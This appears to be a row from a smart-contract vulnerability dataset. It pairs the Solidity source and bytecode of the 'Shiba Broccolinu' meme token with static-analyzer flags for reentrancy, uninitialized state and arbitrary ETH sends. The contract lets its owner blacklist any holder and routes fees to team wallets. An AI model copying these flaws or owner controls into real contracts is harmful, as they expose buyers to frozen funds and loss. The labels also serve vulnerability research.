16565b9081150290604051600060405180830381858888f19350505050158015612194573d6000803e3d6000fd5b5050565b60006006548211156121df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121d690613255565b60405180910390fd5b60006121e961262d565b90506121fe818461257b90919063ffffffff16565b915050919050565b6001601260166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612264577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122925781602001602082028036833780820191505090505b50905030816000815181106122d0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561237257600080fd5b505afa158015612386573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123aa9190612ce6565b816001815181106123e4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061244b30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461109e565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016124af9594939291906133b0565b600060405180830381600087803b1580156124c957600080fd5b505af11580156124dd573d6000803e3d6000fd5b50505050506000601260166101000a81548160ff02191690831515021790555050565b6000808314156125135760009050612575565b600082846125219190613501565b905082848261253091906134d0565b14612570576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612567906132d5565b60405180910390fd5b809150505b92915050565b60006125bd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612658565b905092915050565b806008546125d39190613501565b60088190555060018111156125eb57600a6009819055505b50565b806125fc576125fb6126bb565b5b6126078484846126ec565b806126155761261461261b565b5b50505050565b60066008819055506006600981905550565b600080600061263a6128b7565b91509150612651818361257b90919063ffffffff16565b9250505090565b6000808311829061269f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126969190613213565b60405180910390fd5b50600083856126ae91906134d0565b9050809150509392505050565b60006008541480156126cf57506000600954145b156126d9576126ea565b600060088190555060006009819055505b565b6000806000806000806126fe87612919565b95509550955095509550955061275c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461298190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506127f185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061283d81612a29565b6128478483612ae6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516128a49190613395565b60405180910390a3505050505050505050565b600080600060065490506000686c6b935b8bbd40000090506128ed686c6b935b8bbd40000060065461257b90919063ffffffff16565b82101561290c57600654686c6b935b8bbd400000935093505050612915565b81819350935050505b9091565b60008060008060008060008060006129368a600854600954612b20565b925092509250600061294661262d565b905060008060006129598e878787612bb6565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006129c383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612039565b905092915050565b60008082846129da919061347a565b905083811015612a1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a1690613295565b60405180910390fd5b8091505092915050565b6000612a3361262d565b90506000612a4a828461250090919063ffffffff16565b9050612a9e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546129cb90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612afb8260065461298190919063ffffffff16565b600681905550612b16816007546129cb90919063ffffffff16565b6007819055505050565b600080600080612b4c6064612b3e888a61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b766064612b68888b61250090919063ffffffff16565b61257b90919063ffffffff16565b90506000612b9f82612b91858c61298190919063ffffffff16565b61298190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612bcf858961250090919063ffffffff16565b90506000612be6868961250090919063ffffffff16565b90506000612bfd878961250090919063ffffffff16565b90506000612c2682612c18858761298190919063ffffffff16565b61298190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600081359050612c4e816139ae565b92915050565b600081519050612c63816139ae565b92915050565b600081359050612c78816139c5565b92915050565b600081519050612c8d816139c5565b92915050565b600081359050612ca2816139dc565b92915050565b600081519050612cb7816139dc565b92915050565b600060208284031215612ccf57600080fd5b6000612cdd84828501612c3f565b91505092915050565b600060208284031215612cf857600080fd5b6000612d0684828501612c54565b91505092915050565b60008060408385031215612d2257600080fd5b6000612d3085828601612c3f565b9250506020612d4185828601612c3f565b9150509250929050565b600080600060608486031215612d6057600080fd5b6000612d6e86828701612c3f565b9350506020612d7f86828701612c3f565b9250506040612d9086828701612c93565b9150509250925092565b60008060408385031215612dad57600080fd5b6000612dbb85828601612c3f565b9250506020612dcc85828601612c93565b9150509250929050565b600060208284031215612de857600080fd5b6000612df684828501612c69565b91505092915050565b600060208284031215612e1157600080fd5b6000612e1f84828501612c7e565b91505092915050565b600060208284031215612e3a57600080fd5b6000612e4884828501612c93565b91505092915050565b600080600060608486031215612e6657600080fd5b6000612e7486828701612ca8565b9350506020612e8586828701612ca8565b9250506040612e9686828701612ca8565b9150509250925092565b6000612eac8383612eb8565b60208301905092915050565b612ec18161358f565b82525050565b612ed08161358f565b82525050565b6000612ee182613435565b612eeb8185613458565b9350612ef683613425565b8060005b83811015612f27578151612f0e8882612ea0565b9750612f198361344b565b925050600181019050612efa565b5085935050505092915050565b612f3d816135a1565b82525050565b612f4c816135e4565b82525050565b6000612f5d82613440565b612f678185613469565b9350612f778185602086016135f6565b612f80816136d0565b840191505092915050565b6000612f98602383613469565b9150612fa3826136e1565b604082019050919050565b6000612fbb602a83613469565b9150612fc682613730565b604082019050919050565b6000612fde602283613469565b9150612fe98261377f565b604082019050919050565b6000613001601b83613469565b915061300c826137ce565b602082019050919050565b6000613024601d83613469565b915061302f826137f7565b602082019050919050565b6000613047602183613469565b915061305282613820565b604082019050919050565b600061306a602083613469565b91506130758261386f565b602082019050919050565b600061308d602983613469565b915061309882613898565b604082019050919050565b60006130b0602583613469565b91506130bb826138e7565b604082019050919050565b60006130d3602483613469565b91506130de82613936565b604082019050919050565b60006130f6601183613469565b915061310182613985565b602082019050919050565b613115816135cd565b82525050565b613124816135d7565b82525050565b600060208201905061313f6000830184612ec7565b92915050565b600060408201905061315a6000830185612ec7565b6131676020830184612ec7565b9392505050565b60006040820190506131836000830185612ec7565b613190602083018461310c565b9392505050565b600060c0820190506131ac6000830189612ec7565b6131b9602083018861310c565b6131c66040830187612f43565b6131d36060830186612f43565b6131e06080830185612ec7565b6131ed60a083018461310c565b979650505050505050565b600060208201905061320d6000830184612f34565b92915050565b6000602082019050818103600083015261322d8184612f52565b905092915050565b6000602082019050818103600083015261324e81612f8b565b9050919050565b6000602082019050818103600083015261326e81612fae565b9050919050565b6000602082019050818103600083015261328e81612fd1565b9050919050565b600060208201905081810360008301526132ae81612ff4565b9050919050565b600060208201905081810360008301526132ce81613017565b9050919050565b600060208201905081810360008301526132ee8161303a565b9050919050565b6000602082019050818103600083015261330e8161305d565b9050919050565b6000602082019050818103600083015261332e81613080565b9050919050565b6000602082019050818103600083015261334e816130a3565b9050919050565b6000602082019050818103600083015261336e816130c6565b9050919050565b6000602082019050818103600083015261338e816130e9565b9050919050565b60006020820190506133aa600083018461310c565b92915050565b600060a0820190506133c5600083018861310c565b6133d26020830187612f43565b81810360408301526133e48186612ed6565b90506133f36060830185612ec7565b613400608083018461310c565b9695505050505050565b600060208201905061341f600083018461311b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613485826135cd565b9150613490836135cd565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156134c5576134c4613672565b5b828201905092915050565b60006134db826135cd565b91506134e6836135cd565b9250826134f6576134f56136a1565b5b828204905092915050565b600061350c826135cd565b9150613517836135cd565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156135505761354f613672565b5b828202905092915050565b6000613566826135cd565b9150613571836135cd565b92508282101561358457613583613672565b5b828203905092915050565b600061359a826135ad565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006135ef826135cd565b9050919050565b60005b838110156136145780820151818401526020810190506135f9565b83811115613623576000848401525b50505050565b6000613634826135cd565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561366757613666613672565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6139b78161358f565b81146139c257600080fd5b50565b6139ce816135a1565b81146139d957600080fd5b50565b6139e5816135cd565b81146139f057600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203a46a8f011c1e4c9683151d9a561b1bbf33326d275a3c5d0fb32636d13854b0464736f6c63430008040033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 610 |
0x1ae7e1dbb912ef2f6f4ac8c6c82ff88b8ecbd4a0 | /**
*Submitted for verification at Etherscan.io on 2021-06-02
*/
///
// Shiba Broccolinu (BROCCOLINU🥦)
///
// Telegram: https://t.me/BROCCOLINU
// Limit Buy: ON
// Cooldown: ON
// Bot Protection: ON
// Deflationary: ON
// Fee: ENABLED
// Burn and full token lock: ON
// CoinGecko+CoinMarketCap listin: Ongoing
//
// Shiba Inu need to grow big and strong with a healthy diet.
// The Shiba Broccolinu represents the strongest, happiest,
// and best doges around!
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BROCCOLINU is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private _isExcluded;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = "Shiba Broccolinu";
string private constant _symbol = 'BROCCOLINU🥦';
uint8 private constant _decimals = 9;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
uint256 private _previousTaxFee = _taxFee;
uint256 private _previousteamFee = _teamFee;
address payable private _FeeAddress;
address payable private _marketingWalletAddress;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address payable FeeAddress, address payable marketingWalletAddress) public {
_FeeAddress = FeeAddress;
_marketingWalletAddress = marketingWalletAddress;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress] = true;
_isExcludedFromFee[marketingWalletAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if(_taxFee == 0 && _teamFee == 0) return;
_previousTaxFee = _taxFee;
_previousteamFee = _teamFee;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] && cooldownEnabled) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_FeeAddress.transfer(amount.div(2));
_marketingWalletAddress.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 200000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private {
if(!takeFee)
removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if(!takeFee)
restoreAllFee();
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
if(_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610567578063c3c8cd801461062c578063c9567bf914610643578063d543dbeb1461065a578063dd62ed3e1461069557610114565b8063715018a61461040e5780638da5cb5b1461042557806395d89b4114610466578063a9059cbb146104f657610114565b8063273123b7116100dc578063273123b7146102d6578063313ce567146103275780635932ead1146103555780636fc3eaec1461039257806370a08231146103a957610114565b806306fdde0314610119578063095ea7b3146101a957806318160ddd1461021a57806323b872dd1461024557610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e61071a565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561016e578082015181840152602081019050610153565b50505050905090810190601f16801561019b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101b557600080fd5b50610202600480360360408110156101cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610757565b60405180821515815260200191505060405180910390f35b34801561022657600080fd5b5061022f610775565b6040518082815260200191505060405180910390f35b34801561025157600080fd5b506102be6004803603606081101561026857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610786565b60405180821515815260200191505060405180910390f35b3480156102e257600080fd5b50610325600480360360208110156102f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085f565b005b34801561033357600080fd5b5061033c610982565b604051808260ff16815260200191505060405180910390f35b34801561036157600080fd5b506103906004803603602081101561037857600080fd5b8101908080351515906020019092919050505061098b565b005b34801561039e57600080fd5b506103a7610a70565b005b3480156103b557600080fd5b506103f8600480360360208110156103cc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ae2565b6040518082815260200191505060405180910390f35b34801561041a57600080fd5b50610423610bcd565b005b34801561043157600080fd5b5061043a610d53565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561047257600080fd5b5061047b610d7c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104bb5780820151818401526020810190506104a0565b50505050905090810190601f1680156104e85780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561050257600080fd5b5061054f6004803603604081101561051957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610db9565b60405180821515815260200191505060405180910390f35b34801561057357600080fd5b5061062a6004803603602081101561058a57600080fd5b81019080803590602001906401000000008111156105a757600080fd5b8201836020820111156105b957600080fd5b803590602001918460208302840111640100000000831117156105db57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610dd7565b005b34801561063857600080fd5b50610641610f27565b005b34801561064f57600080fd5b50610658610fa1565b005b34801561066657600080fd5b506106936004803603602081101561067d57600080fd5b810190808035906020019092919050505061161f565b005b3480156106a157600080fd5b50610704600480360360408110156106b857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506117ce565b6040518082815260200191505060405180910390f35b60606040518060400160405280601081526020017f53686962612042726f63636f6c696e7500000000000000000000000000000000815250905090565